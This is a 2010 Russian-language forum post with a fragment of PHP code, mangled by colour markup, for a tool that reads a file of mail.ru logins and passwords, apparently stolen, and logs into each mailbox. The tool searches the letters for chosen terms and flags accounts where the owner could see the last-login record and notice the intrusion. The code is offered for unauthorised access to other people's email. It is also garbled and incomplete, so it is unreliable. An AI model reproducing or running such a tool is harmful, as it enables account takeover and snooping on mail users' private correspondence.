
28.09.2010, 13:50
|
|
Guest
Сообщений: n/a
Провел на форуме: 20670
Репутация:
10
|
|
Хотелось бы на Спп. Но никакого опыть работы с сокетами, да и вообще с GUI нет( Если бы кто-нибудь подробно объяснил, что делать надо, то с удовольствием бы написал.
Вот прилепил еще чтоб, палил если у пользователя включено отображение последнего входа.
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]По запросу[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$ssearch[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]найдено[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$letters[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]письмо(а/ем)
"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$pattern[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'|(.+)\n.+\n.+\n.+\n.+\n.+\n(.+)|i'[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]preg_match_all[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$pattern[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"]);;
echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];
for([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]"[/COLOR][COLOR="#007700"];
echo[/COLOR][COLOR="#0000BB"]strip_tags[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]]);
echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]strip_tags[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]]);
echo[/COLOR][COLOR="#DD0000"]"
"[/COLOR][COLOR="#007700"];
}
echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];
}
} else {
echo[/COLOR][COLOR="#DD0000"]"По запросу[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$ssearch[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]писем не найдено"[/COLOR][COLOR="#007700"];
}
[/COLOR][COLOR="#0000BB"]fclose[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sock[/COLOR][COLOR="#007700"]);
}
[/COLOR][COLOR="#0000BB"]set_time_limit[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$filep[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"users.txt"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"r"[/COLOR][COLOR="#007700"]);
if(![/COLOR][COLOR="#0000BB"]$filep[/COLOR][COLOR="#007700"])
die([/COLOR][COLOR="#DD0000"]"File opennig error! "[/COLOR][COLOR="#007700"]);
echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];
while (![/COLOR][COLOR="#0000BB"]feof[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$filep[/COLOR][COLOR="#007700"])) {
[/COLOR][COLOR="#0000BB"]$acc[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fgets[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$filep[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$acc[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"\r\n"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$acc[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$pair[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]explode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]";"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$acc[/COLOR][COLOR="#007700"]);
echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];
if([/COLOR][COLOR="#0000BB"]count[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$pair[/COLOR][COLOR="#007700"]) >[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]) {
echo[/COLOR][COLOR="#DD0000"]"Password contains ; "[/COLOR][COLOR="#007700"];
continue;
}
[/COLOR][COLOR="#0000BB"]$acc[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]explode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"@"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$pair[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]]);
[/COLOR][COLOR="#0000BB"]$login[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$acc[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]];
[/COLOR][COLOR="#0000BB"]$domain[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$acc[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]];
[/COLOR][COLOR="#0000BB"]$password[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$pair[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]];
if([/COLOR][COLOR="#0000BB"]$password[/COLOR][COLOR="#007700"]!==[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"])
[/COLOR][COLOR="#0000BB"]mailru_searcher[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$login[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$domain[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$password[/COLOR][COLOR="#007700"]);
echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];
}
[/COLOR][COLOR="#0000BB"]fclose[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$filep[/COLOR][COLOR="#007700"]);
echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];
function[/COLOR][COLOR="#0000BB"]mailru_searcher[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$login[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$domain[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$password[/COLOR][COLOR="#007700"]){
echo[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$login[/COLOR][COLOR="#DD0000"]@[/COLOR][COLOR="#0000BB"]$domain[/COLOR][COLOR="#DD0000"];[/COLOR][COLOR="#0000BB"]$password[/COLOR][COLOR="#DD0000"] "[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$SEC_DETECT[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#FF8000"]// Ваш адрес сейчас:ПАЛЕВО ПАЦАНЫ!!!!111 "[/COLOR][COLOR="#007700"];
}
echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];
foreach([/COLOR][COLOR="#0000BB"]$search_array[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$search_query[/COLOR][COLOR="#007700"]){
[/COLOR][COLOR="#0000BB"]mail_search[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$search_query[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]]);
}
echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];
}
[/COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR]
|
|
|
|